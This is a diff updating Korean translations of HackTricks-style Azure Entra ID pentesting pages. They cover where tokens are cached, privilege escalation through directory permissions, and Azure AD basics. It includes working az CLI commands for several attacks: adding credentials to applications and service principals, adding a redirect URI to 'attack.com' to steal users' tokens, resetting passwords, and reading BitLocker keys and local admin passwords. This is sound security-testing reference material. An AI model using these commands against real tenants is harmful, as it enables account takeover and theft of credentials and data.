-- **`AzureRmContext.json`**에는 Az PowerShell을 사용한 이전 로그인에 대한 정보가 들어 있지만 자격증명은 포함되어 있지 않습니다
-- **`C:\Users\\AppData\Local\Microsoft\IdentityCache\*`** 안에는 사용자 DPAPI로 암호화된 여러 `.bin` 파일들이 있으며, 여기에는 **access tokens**, ID tokens 및 계정 정보가 들어 있습니다
-- **`C:\Users\\AppData\Local\Microsoft\TokenBroken\Cache\`** 안의 `.tbres` 파일들에서 base64로 인코딩되어 DPAPI로 암호화된 access tokens를 더 찾을 수 있습니다
-- Linux 및 macOS에서는 Az PowerShell(사용된 경우)에서 `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"`을 실행하면 **access tokens, refresh tokens and id tokens**를 얻을 수 있습니다
-- Windows에서는 이것이 id tokens만 생성합니다
-- Linux 및 macSO에서 Az PowerShell 사용 여부는 `$HOME/.local/share/.IdentityService/`의 존재 여부로 확인할 수 있습니다(단, 내부 파일들은 비어 있어 쓸모없습니다)
-- 사용자가 브라우저로 Azure에 로그인한 상태라면, 이 [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web)에 따르면 인증 플로우를 **redirect to localhost**로 시작해 브라우저가 자동으로 로그인을 승인하게 만들고 refresh token을 받을 수 있습니다. 단, localhost로 리디렉트가 허용되는 FOCI 애플리케이션(예: az cli나 powershell module)은 극소수이므로 해당 애플리케이션들이 허용되어 있어야 합니다
-- 블로그에서 설명된 다른 방법은 도구 [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow)를 사용하는 것이며, 이 도구는 어떤 애플리케이션이든 사용할 수 있습니다. 최종 인증 페이지의 제목에서 OAuth 코드를 얻어 refresh token을 가져오는 방식이며 redirect URI로 `https://login.microsoftonline.com/common/oauth2/nativeclient`를 사용합니다
+- **`AzureRmContext.json`**에는 Az PowerShell을 사용한 이전 로그인에 대한 정보가 포함되어 있다(하지만 자격 증명은 없음)
+- **`C:\Users\\AppData\Local\Microsoft\IdentityCache\*`** 내부에는 여러 `.bin` 파일이 있으며, **access tokens**, ID tokens 및 계정 정보가 사용자 DPAPI로 암호화되어 있다.
+- `C:\Users\\AppData\Local\Microsoft\TokenBroken\Cache\` 내부의 `.tbres` 파일들에서는 DPAPI로 암호화된 base64 형태의 access tokens를 더 찾을 수 있다.
+- Linux 및 macOS에서는 Az PowerShell(사용된 경우)에서 `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"`를 실행하면 **access tokens, refresh tokens and id tokens**를 얻을 수 있다.
+- Windows에서는 이는 id tokens만 생성한다.
+- Linux 및 macOS에서 Az PowerShell 사용 여부는 `$HOME/.local/share/.IdentityService/`의 존재로 확인할 수 있다(단 포함된 파일들은 비어 있고 쓸모없음).
+- 사용자가 **logged inside Azure with the browser** 상태라면, 이 [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web)에 따르면 인증 흐름을 **redirect to localhost**로 시작하고 브라우저가 자동으로 로그인 승인을 하도록 만들어 refresh token을 받을 수 있다. 단, az cli나 powershell module과 같이 localhost 리디렉트를 허용하는 FOCI 애플리케이션은 극소수이므로 해당 애플리케이션들이 허용되어 있어야 한다.
+- 블로그에서 설명한 다른 옵션은 도구 [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow)를 사용하는 것이다. 이 도구는 어떤 애플리케이션이든 사용할 수 있는데, 최종 인증 페이지의 제목에서 OAuth 코드를 얻어 그 코드로 refresh token을 가져오기 때문이다. 리디렉트 URI는 `https://login.microsoftonline.com/common/oauth2/nativeclient`.
## 참고자료
- [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research)
- [https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md](https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md)
+- [https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/](https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/)
+- [https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/](https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
index d71dbdf16..8a06c6a67 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
@@ -3,13 +3,13 @@
{{#include ../../../../banners/hacktricks-training.md}}
> [!NOTE]
-> **Entra ID**에 내장된 모든 세부 권한이 **사용자 정의 역할**에 사용될 수 있는 것은 아닙니다.
+> Entra ID의 내장 역할들이 가진 **모든 세분화된 권한이** 사용자 지정 역할에서 **사용 가능한 것은 아니다.**
-## Roles
+## 역할
-### Role: Privileged Role Administrator
+### 역할: Privileged Role Administrator
-이 역할은 주체에게 역할을 할당하고 역할에 더 많은 권한을 부여할 수 있는 데 필요한 세부 권한을 포함합니다. 두 가지 작업 모두 권한 상승을 위해 악용될 수 있습니다.
+이 역할은 주체(principals)에게 역할을 할당하고 역할에 더 많은 권한을 부여할 수 있는 필요한 세분화된 권한을 포함하고 있습니다. 이 두 작업은 권한 상승으로 악용될 수 있습니다.
- 사용자에게 역할 할당:
```bash
@@ -48,11 +48,11 @@ az rest --method PATCH \
]
}'
```
-## Applications
+## 애플리케이션
### `microsoft.directory/applications/credentials/update`
-이것은 공격자가 기존 애플리케이션에 **자격 증명**(비밀번호 또는 인증서)을 추가할 수 있게 해줍니다. 애플리케이션에 권한이 있는 경우, 공격자는 해당 애플리케이션으로 인증하고 그 권한을 얻을 수 있습니다.
+이를 통해 공격자는 기존 애플리케이션에 **add credentials** (passwords or certificates)를 추가할 수 있습니다. 애플리케이션에 privileged permissions가 있다면, 공격자는 해당 애플리케이션으로 인증하여 그 권한을 획득할 수 있습니다.
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id --append
@@ -61,13 +61,13 @@ az ad app credential reset --id --create-cert
```
### `microsoft.directory/applications.myOrganization/credentials/update`
-이것은 `applications/credentials/update`와 동일한 작업을 허용하지만 단일 디렉터리 애플리케이션에 한정됩니다.
+이 권한은 `applications/credentials/update`와 동일한 작업을 허용하지만, 단일 디렉터리 애플리케이션으로 범위가 제한됩니다.
```bash
az ad app credential reset --id --append
```
### `microsoft.directory/applications/owners/update`
-자신을 소유자로 추가함으로써 공격자는 애플리케이션을 조작할 수 있으며, 여기에는 자격 증명 및 권한이 포함됩니다.
+자신을 owner로 추가하면, 공격자는 자격 증명과 권한을 포함한 애플리케이션을 조작할 수 있습니다.
```bash
az ad app owner add --id --owner-object-id
az ad app credential reset --id --append
@@ -77,40 +77,155 @@ az ad app owner list --id
```
### `microsoft.directory/applications/allProperties/update`
-공격자는 테넌트의 사용자들이 사용하는 애플리케이션에 리디렉션 URI를 추가한 다음, 새로운 리디렉션 URL을 사용하는 로그인 URL을 공유하여 그들의 토큰을 훔칠 수 있습니다. 사용자가 이미 애플리케이션에 로그인한 경우, 인증은 사용자가 아무것도 수락할 필요 없이 자동으로 이루어집니다.
+공격자는 tenant의 사용자들이 사용 중인 applications에 redirect URI를 추가한 후, 새 redirect URL을 사용하는 login URLs를 공유하여 그들의 tokens를 탈취할 수 있습니다. 사용자가 이미 해당 application에 로그인되어 있는 경우에는, 사용자가 아무것도 승인할 필요 없이 authentication이 자동으로 이루어집니다.
-또한 애플리케이션이 요청하는 권한을 변경하여 더 많은 권한을 얻는 것도 가능하지만, 이 경우 사용자는 모든 권한을 요청하는 프롬프트를 다시 수락해야 합니다.
+또한 더 많은 권한을 얻기 위해 application이 요청하는 permissions를 변경하는 것도 가능하지만, 이 경우 사용자는 모든 permissions를 요구하는 prompt를 다시 수락해야 합니다.
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id --web-redirect-uris "https://original.com/callback https://attack.com/callback"
```
-## Service Principals
+### 애플리케이션 권한 상승
+
+**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** 기본 애플리케이션에 유형이 **`Application`**인 **API permissions**이 할당되어 있는 경우를 흔히 볼 수 있습니다.
+
+Entra ID 콘솔에서 부르는 API Permission 유형 중 **`Application`**은 애플리케이션이 사용자 컨텍스트(앱에 사용자가 로그인하지 않은 상태) 없이 API에 접근하고 작업을 수행할 수 있으며, 이를 허용하기 위해 Entra ID 역할이 필요하지 않다는 뜻입니다. 따라서 거의 모든 Entra ID 테넌트에서 **권한이 높은 애플리케이션을 찾는 것이 매우 흔합니다**.
+
+그런 다음, 공격자가 애플리케이션의 자격 증명(secret o certificate)을 업데이트할 수 있는 권한/역할을 가지고 있다면, 공격자는 새로운 자격 증명을 생성하고 이를 사용해 **authenticate as the application**하여 해당 애플리케이션이 가진 모든 권한을 획득할 수 있습니다.
+
+언급된 블로그는 일부 Microsoft 기본 애플리케이션의 **API permissions**를 공유했으나, 이 보고서 이후 Microsoft는 이 문제를 수정하여 이제 Microsoft 애플리케이션으로 로그인하는 것이 불가능합니다. 그러나 여전히 악용될 수 있는 **권한이 높은 custom applications**를 찾을 수 있습니다.
+
+How to enumerate the API permissions of an application:
+```bash
+# Get "API Permissions" of an App
+## Get the ResourceAppId
+az ad app show --id "" --query "requiredResourceAccess" --output json
+## e.g.
+[
+{
+"resourceAccess": [
+{
+"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
+"type": "Scope"
+},
+{
+"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
+"type": "Role"
+}
+],
+"resourceAppId": "00000003-0000-0000-c000-000000000000"
+}
+]
+
+## For the perms of type "Scope"
+az ad sp show --id --query "oauth2PermissionScopes[?id==''].value" -o tsv
+az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
+
+## For the perms of type "Role"
+az ad sp show --id --query "appRoles[?id==''].value" -o tsv
+az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
+```
+
+non-Microsoft APIs에 대한 API 권한을 가진 모든 애플리케이션 찾기 (az cli)
+```bash
+#!/usr/bin/env bash
+set -euo pipefail
+
+# Known Microsoft first-party owner organization IDs.
+MICROSOFT_OWNER_ORG_IDS=(
+"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
+"72f988bf-86f1-41af-91ab-2d7cd011db47"
+)
+
+is_microsoft_owner() {
+local owner="$1"
+local id
+for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
+if [ "$owner" = "$id" ]; then
+return 0
+fi
+done
+return 1
+}
+
+command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
+command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
+az account show >/dev/null
+
+apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"
+
+tmp_map="$(mktemp)"
+tmp_ids="$(mktemp)"
+trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
+
+# Build unique resourceAppId values used by applications.
+jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
+
+# Resolve resourceAppId -> owner organization + API display name.
+while IFS= read -r rid; do
+[ -n "$rid" ] || continue
+sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
+owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
+name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
+printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
+done < "$tmp_ids"
+
+echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
+
+# Print only app permissions where the target API is NOT Microsoft-owned.
+while IFS= read -r row; do
+app_name="$(jq -r '.[0]' <<<"$row")"
+app_id="$(jq -r '.[1]' <<<"$row")"
+
+while IFS= read -r rra; do
+resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
+map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
+owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
+resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
+
+[ -n "$owner_org" ] || owner_org="UNKNOWN"
+[ -n "$resource_name" ] || resource_name="UNKNOWN"
+
+if is_microsoft_owner "$owner_org"; then
+continue
+fi
+
+while IFS= read -r access; do
+perm_type="$(jq -r '.type' <<<"$access")"
+perm_id="$(jq -r '.id' <<<"$access")"
+echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
+done < <(jq -c '.resourceAccess[]' <<<"$rra")
+done < <(jq -c '.[2][]' <<<"$row")
+done < <(jq -c '.[]' <<<"$apps_json")
+```
+
+
+## 서비스 주체
### `microsoft.directory/servicePrincipals/credentials/update`
-이것은 공격자가 기존 서비스 주체에 자격 증명을 추가할 수 있게 해줍니다. 서비스 주체가 상승된 권한을 가지고 있다면, 공격자는 그 권한을 가질 수 있습니다.
+이 권한은 공격자가 기존 서비스 주체에 자격 증명을 추가할 수 있게 합니다. 해당 서비스 주체가 권한이 상승된 경우 공격자는 그 권한을 획득할 수 있습니다.
```bash
az ad sp credential reset --id --append
```
> [!CAUTION]
-> 새로 생성된 비밀번호는 웹 콘솔에 나타나지 않으므로, 이는 서비스 주체에 대한 지속성을 유지하는 은밀한 방법이 될 수 있습니다.\
-> API에서 다음과 같이 찾을 수 있습니다: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
+> 새로 생성된 비밀번호는 웹 콘솔에 표시되지 않으므로, 이는 service principal에 대한 persistence를 유지하는 은밀한 방법이 될 수 있습니다.\
+> API에서는 다음 명령으로 찾을 수 있습니다: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
-만약 `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`라는 오류가 발생하면, **SP의 passwordCredentials 속성을 수정할 수 없기 때문입니다**. 먼저 이를 잠금 해제해야 합니다. 이를 위해서는 다음을 실행할 수 있는 권한(`microsoft.directory/applications/allProperties/update`)이 필요합니다:
+If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` it's because **it's not possible to modify the passwordCredentials property** of the SP and first you need to unlock it. For it you need a permission (`microsoft.directory/applications/allProperties/update`) that allows you to execute:
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/ --body '{"servicePrincipalLockConfiguration": null}'
```
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
-이것은 공격자가 기존 서비스 주체에 자격 증명을 추가할 수 있게 해줍니다. 서비스 주체가 상승된 권한을 가지고 있다면, 공격자는 그 권한을 가질 수 있습니다.
+이 권한을 통해 공격자는 기존 service principals에 credentials를 추가할 수 있습니다. 해당 service principal이 elevated privileges를 가지고 있으면, 공격자는 그 권한을 획득할 수 있습니다.
```bash
az ad sp credential reset --id --append
```
### `microsoft.directory/servicePrincipals/owners/update`
-응용 프로그램과 유사하게, 이 권한은 서비스 주체에 더 많은 소유자를 추가할 수 있게 해줍니다. 서비스 주체를 소유하면 해당 자격 증명 및 권한을 제어할 수 있습니다.
+애플리케이션과 유사하게, 이 권한은 service principal에 더 많은 owners를 추가할 수 있게 합니다. service principal을 소유하면 해당 자격 증명 및 권한을 제어할 수 있습니다.
```bash
# Add new owner
spId=""
@@ -128,13 +243,13 @@ az ad sp credential reset --id --append
az ad sp owner list --id
```
> [!CAUTION]
-> 새로운 소유자를 추가한 후, 이를 제거하려고 했지만 API는 DELETE 메서드가 지원되지 않는다고 응답했습니다. 소유자를 삭제하는 데 필요한 메서드임에도 불구하고 말이죠. 그래서 **현재 소유자를 제거할 수 없습니다**.
+> 새 owner를 추가한 뒤 제거하려 했으나 API가 DELETE 메서드를 지원하지 않는다고 응답했습니다. DELETE가 owner를 삭제하는 데 사용해야 하는 메서드임에도 불구하고요. 그래서 **요즘은 소유자(owner)를 제거할 수 없습니다**.
-### `microsoft.directory/servicePrincipals/disable` 및 `enable`
+### `microsoft.directory/servicePrincipals/disable` and `enable`
-이 권한은 서비스 주체를 비활성화하고 활성화할 수 있게 해줍니다. 공격자는 이 권한을 사용하여 접근할 수 있는 서비스 주체를 활성화하여 권한을 상승시킬 수 있습니다.
+이 권한들은 service principals를 비활성화(disable)하고 활성화(enable)할 수 있게 합니다. 공격자는 이 권한을 이용해 어떤 식으로든 접근할 수 있는 service principal을 활성화하여 권한 상승을 시도할 수 있습니다.
-이 기술을 사용하기 위해 공격자는 활성화된 서비스 주체를 장악하기 위해 더 많은 권한이 필요하다는 점에 유의하세요.
+이 기법에서는 공격자가 활성화된 service principal을 인수하기 위해 추가적인 권한이 필요하다는 점에 유의하세요.
```bash
# Disable
az ad sp update --id --account-enabled false
@@ -144,7 +259,7 @@ az ad sp update --id --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
-이 권한은 단일 로그인에 대한 자격 증명을 생성하고 가져올 수 있게 하여 타사 애플리케이션에 대한 액세스를 허용할 수 있습니다.
+이 권한들은 싱글 사인온(SSO)용 자격 증명을 생성하고 가져올 수 있게 하며, 이를 통해 타사 애플리케이션에 대한 접근이 가능해질 수 있습니다.
```bash
# Generate SSO creds for a user or a group
spID=""
@@ -164,44 +279,36 @@ az rest --method POST \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
```
-### 애플리케이션 권한 상승
-
-**[이 게시물](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)에서 설명한 바와 같이** 기본 애플리케이션에서 **API 권한** 유형 **`Application`**이 할당된 경우를 찾는 것은 매우 일반적입니다. **`Application`** 유형의 API 권한(Entra ID 콘솔에서 호출됨)은 애플리케이션이 사용자 컨텍스트(사용자가 앱에 로그인하지 않고) 없이 API에 접근할 수 있음을 의미하며, 이를 허용하기 위해 Entra ID 역할이 필요하지 않습니다. 따라서 **모든 Entra ID 테넌트에서 높은 권한을 가진 애플리케이션을 찾는 것은 매우 일반적입니다**.
-
-따라서 공격자가 **애플리케이션의 자격 증명(비밀 또는 인증서)을 업데이트할 수 있는 권한/역할**을 가지고 있다면, 공격자는 새로운 자격 증명을 생성하고 이를 사용하여 **애플리케이션으로 인증**할 수 있으며, 애플리케이션이 가진 모든 권한을 얻을 수 있습니다.
-
-언급된 블로그는 일반적인 Microsoft 기본 애플리케이션의 **API 권한**을 공유하지만, 이 보고서 이후 Microsoft는 이 문제를 수정하였고 이제는 Microsoft 애플리케이션으로 로그인할 수 없습니다. 그러나 여전히 **악용될 수 있는 높은 권한을 가진 사용자 정의 애플리케이션을 찾는 것은 가능합니다**.
-
---
## 그룹
### `microsoft.directory/groups/allProperties/update`
-이 권한은 사용자에게 특권 그룹에 추가할 수 있는 권한을 부여하여 권한 상승을 초래합니다.
+이 권한은 사용자를 관리자 권한이 있는 그룹에 추가할 수 있게 하여 권한 상승으로 이어질 수 있습니다.
```bash
az ad group member add --group --member-id
```
-**참고**: 이 권한은 Entra ID 역할 할당 그룹을 제외합니다.
+**참고**: 이 권한은 Entra ID의 역할 할당 가능 그룹(role-assignable groups)을 제외합니다.
### `microsoft.directory/groups/owners/update`
-이 권한은 그룹의 소유자가 될 수 있게 해줍니다. 그룹의 소유자는 그룹 구성원 및 설정을 제어할 수 있으며, 잠재적으로 그룹에 대한 권한을 상승시킬 수 있습니다.
+이 권한을 통해 그룹의 소유자가 될 수 있습니다. 그룹 소유자는 그룹 멤버십과 설정을 제어할 수 있으며, 잠재적으로 그룹에 대한 privilege escalation을 초래할 수 있습니다.
```bash
az ad group owner add --group --owner-object-id
az ad group member add --group --member-id
```
-**참고**: 이 권한은 Entra ID 역할 할당 가능 그룹을 제외합니다.
+**참고**: 이 권한은 Entra ID role-assignable groups를 제외합니다.
### `microsoft.directory/groups/members/update`
-이 권한은 그룹에 구성원을 추가할 수 있게 해줍니다. 공격자는 자신이나 악의적인 계정을 특권 그룹에 추가하여 상승된 접근 권한을 부여할 수 있습니다.
+이 권한은 그룹에 멤버를 추가할 수 있게 합니다. An attacker는 자신이나 악성 계정을 privileged groups에 추가하여 권한을 상승시킬 수 있습니다.
```bash
az ad group member add --group --member-id
```
### `microsoft.directory/groups/dynamicMembershipRule/update`
-이 권한은 동적 그룹의 멤버십 규칙을 업데이트할 수 있게 해줍니다. 공격자는 동적 규칙을 수정하여 명시적인 추가 없이 자신을 권한이 있는 그룹에 포함시킬 수 있습니다.
+이 권한은 동적 그룹의 멤버십 규칙을 업데이트할 수 있게 합니다. 공격자는 동적 규칙을 수정하여 명시적 추가 없이 자신을 권한이 있는 그룹에 포함시킬 수 있습니다.
```bash
groupId=""
az rest --method PATCH \
@@ -212,11 +319,11 @@ az rest --method PATCH \
"membershipRuleProcessingState": "On"
}'
```
-**참고**: 이 권한은 Entra ID 역할 할당 그룹을 제외합니다.
+**참고**: 이 권한은 Entra ID role-assignable groups를 제외합니다.
-### 동적 그룹 권한 상승
+### Dynamic Groups Privesc
-사용자가 자신의 속성을 수정하여 동적 그룹의 구성원으로 추가될 수 있는 권한 상승이 가능할 수 있습니다. 자세한 내용은 다음을 확인하세요:
+사용자가 자신의 속성을 수정하여 dynamic groups의 구성원으로 추가되도록 할 수 있어 권한 상승이 가능할 수 있습니다. 자세한 내용은 다음을 확인하세요:
{{#ref}}
dynamic-groups.md
@@ -226,13 +333,13 @@ dynamic-groups.md
### `microsoft.directory/users/password/update`
-이 권한은 비관리자 사용자에게 비밀번호를 재설정할 수 있게 하여 잠재적인 공격자가 다른 사용자에게 권한을 상승시킬 수 있게 합니다. 이 권한은 사용자 정의 역할에 할당할 수 없습니다.
+이 권한은 비관리자 사용자의 암호를 재설정할 수 있게 하여, 잠재적 공격자가 다른 사용자로 권한을 상승시킬 수 있도록 합니다. 이 권한은 사용자 지정 역할에 할당할 수 없습니다.
```bash
az ad user update --id --password "kweoifuh.234"
```
### `microsoft.directory/users/basic/update`
-이 권한은 사용자의 속성을 수정할 수 있습니다. 속성 값에 따라 사용자를 추가하는 동적 그룹을 찾는 것이 일반적이므로, 이 권한은 사용자가 특정 동적 그룹의 구성원이 되기 위해 필요한 속성 값을 설정하고 권한을 상승시킬 수 있게 할 수 있습니다.
+이 권한은 사용자의 속성을 수정할 수 있게 합니다. 속성 값에 따라 사용자를 추가하는 dynamic groups를 찾는 경우가 흔하므로, 이 권한을 통해 사용자가 특정 dynamic group의 멤버가 되기 위해 필요한 속성 값을 설정하고 escalate privileges할 수 있습니다.
```bash
#e.g. change manager of a user
victimUser=""
@@ -248,9 +355,9 @@ az rest --method PATCH \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
```
-## 조건부 액세스 정책 및 MFA 우회
+## Conditional Access Policies & MFA bypass
-잘못 구성된 MFA를 요구하는 조건부 액세스 정책은 우회될 수 있습니다. 확인하세요:
+잘못 구성된 conditional access policies가 MFA를 요구하도록 설정된 경우 우회될 수 있습니다. 확인:
{{#ref}}
az-conditional-access-policies-mfa-bypass.md
@@ -260,7 +367,7 @@ az-conditional-access-policies-mfa-bypass.md
### `microsoft.directory/devices/registeredOwners/update`
-이 권한은 공격자가 장치의 소유자로 자신을 할당하여 장치 특정 설정 및 데이터에 대한 제어 또는 액세스를 얻을 수 있게 합니다.
+이 권한은 공격자가 자신을 디바이스의 소유자로 지정하여 디바이스 관련 설정 및 데이터에 대한 제어 또는 접근 권한을 얻을 수 있게 합니다.
```bash
deviceId=""
userId=""
@@ -271,7 +378,7 @@ az rest --method POST \
```
### `microsoft.directory/devices/registeredUsers/update`
-이 권한은 공격자가 자신의 계정을 장치와 연결하여 접근 권한을 얻거나 보안 정책을 우회할 수 있게 해줍니다.
+이 권한은 공격자가 자신의 계정을 디바이스에 연결하여 접근 권한을 얻거나 보안 정책을 우회할 수 있게 합니다.
```bash
deviceId=""
userId=""
@@ -282,7 +389,7 @@ az rest --method POST \
```
### `microsoft.directory/deviceLocalCredentials/password/read`
-이 권한은 공격자가 Microsoft Entra에 가입된 장치의 백업된 로컬 관리자 계정 자격 증명의 속성을 읽을 수 있도록 하며, 여기에는 비밀번호가 포함됩니다.
+이 권한은 attackers가 Microsoft Entra joined devices에 대해 백업된 local administrator account credentials의 속성(password 포함)을 읽을 수 있도록 허용합니다.
```bash
# List deviceLocalCredentials
az rest --method GET \
@@ -297,7 +404,7 @@ az rest --method GET \
### `microsoft.directory/bitlockerKeys/key/read`
-이 권한은 BitLocker 키에 접근할 수 있게 하며, 이는 공격자가 드라이브를 복호화하여 데이터 기밀성을 위협할 수 있게 합니다.
+이 권한은 BitLocker 키에 접근할 수 있도록 허용하며, 공격자가 드라이브를 복호화하여 데이터 기밀성이 침해될 수 있습니다.
```bash
# List recovery keys
az rest --method GET \
@@ -308,7 +415,7 @@ recoveryKeyId=""
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
```
-## 다른 흥미로운 권한 (TODO)
+## 다른 흥미로운 권한들 (TODO)
- `microsoft.directory/applications/permissions/update`
- `microsoft.directory/servicePrincipals/permissions/update`
diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md
index 20abcbec8..3c48f6b16 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md
@@ -1,12 +1,12 @@
-# Az - Entra ID (AzureAD) & Azure IAM
+# Az - Entra ID (AzureAD) 및 Azure IAM
{{#include ../../../banners/hacktricks-training.md}}
## 기본 정보
-Azure Active Directory (Azure AD)는 identity 및 access 관리를 위한 Microsoft의 클라우드 기반 서비스입니다. 직원들이 Microsoft 365, Azure portal 및 다양한 다른 SaaS 애플리케이션을 포함해 조직 내부와 외부의 리소스에 로그인하고 접근할 수 있도록 지원합니다. Azure AD의 설계는 주로 **인증, 권한 부여, 사용자 관리**와 같은 필수적인 아이덴티티 서비스를 제공하는 데 초점을 맞춥니다.
+Azure Active Directory (Azure AD)는 Microsoft의 클라우드 기반 신원 및 접근 관리 서비스입니다. 직원들이 조직 내부 및 외부의 리소스(예: Microsoft 365, the Azure portal 및 다양한 다른 SaaS 애플리케이션)에 로그인하고 액세스할 수 있도록 하는 데 핵심적인 역할을 합니다. Azure AD의 설계는 특히 **인증, 권한 부여, 및 사용자 관리**와 같은 필수 신원 서비스를 제공하는 데 중점을 둡니다.
-Azure AD의 주요 기능으로는 **다단계 인증** 및 **조건부 액세스**와 다른 Microsoft 보안 서비스와의 원활한 통합이 포함됩니다. 이러한 기능들은 사용자 아이덴티티의 보안을 크게 향상시키고 조직이 액세스 정책을 효과적으로 구현하고 시행할 수 있게 합니다. Microsoft의 클라우드 서비스 생태계의 기본 구성 요소로서, Azure AD는 사용자 아이덴티티의 클라우드 기반 관리에 있어 중요한 역할을 합니다.
+Azure AD의 주요 기능에는 **다단계 인증** 및 **조건부 액세스**가 있으며, 다른 Microsoft 보안 서비스와의 원활한 통합을 지원합니다. 이러한 기능은 사용자 신원의 보안을 크게 향상시키고 조직이 액세스 정책을 효과적으로 구현하고 시행할 수 있도록 합니다. Microsoft의 클라우드 서비스 생태계에서 기본 구성 요소로서 Azure AD는 사용자 신원의 클라우드 기반 관리에 매우 중요합니다.
## 열거
@@ -185,13 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
{{#endtab }}
{{#endtabs }}
-어떤 프로그램으로든 **CLI**를 통해 **Azure**에 **login**하면, **Microsoft** 소속의 **tenant**에서 온 **Azure Application**을 사용하게 됩니다.
+어떤 프로그램으로든 **CLI**를 통해 **Azure**에 **login**하면, 당신은 **Microsoft**에 속한 **tenant**의 **Azure Application**을 사용하고 있는 것입니다. 계정에서 생성할 수 있는 것들과 마찬가지로, 이러한 Applications은 **client id를 가지고 있습니다**. 콘솔에서 볼 수 있는 **allowed applications lists**에서는 그들을 **모두 볼 수는 없습니다**, **하지만 기본적으로 허용되어 있습니다**.
-계정에서 생성할 수 있는 것들과 마찬가지로 이러한 Applications는 **have a client id**. 콘솔에서 볼 수 있는 **allowed applications lists**에서는 이들 모두를 **won't be able to see all of them** 수 있지만, **but they are allowed by default**.
+예를 들어, **authenticates**하는 **powershell script**는 client id가 **`1950a258-227b-4e31-a9cf-717495945fc2`**인 앱을 사용합니다. 앱이 콘솔에 나타나지 않더라도, sysadmin은 **해당 application을 차단**할 수 있어 사용자가 그 App을 통해 연결되는 도구로 접근하지 못하게 만들 수 있습니다.
-예를 들어 **authenticates**하는 **powershell script**는 클라이언트 id가 **`1950a258-227b-4e31-a9cf-717495945fc2`**인 app을 사용합니다. 해당 app이 콘솔에 표시되지 않더라도, sysadmin은 **block that application**하여 사용자가 해당 App을 통해 연결하는 도구로 접근하는 것을 막을 수 있습니다.
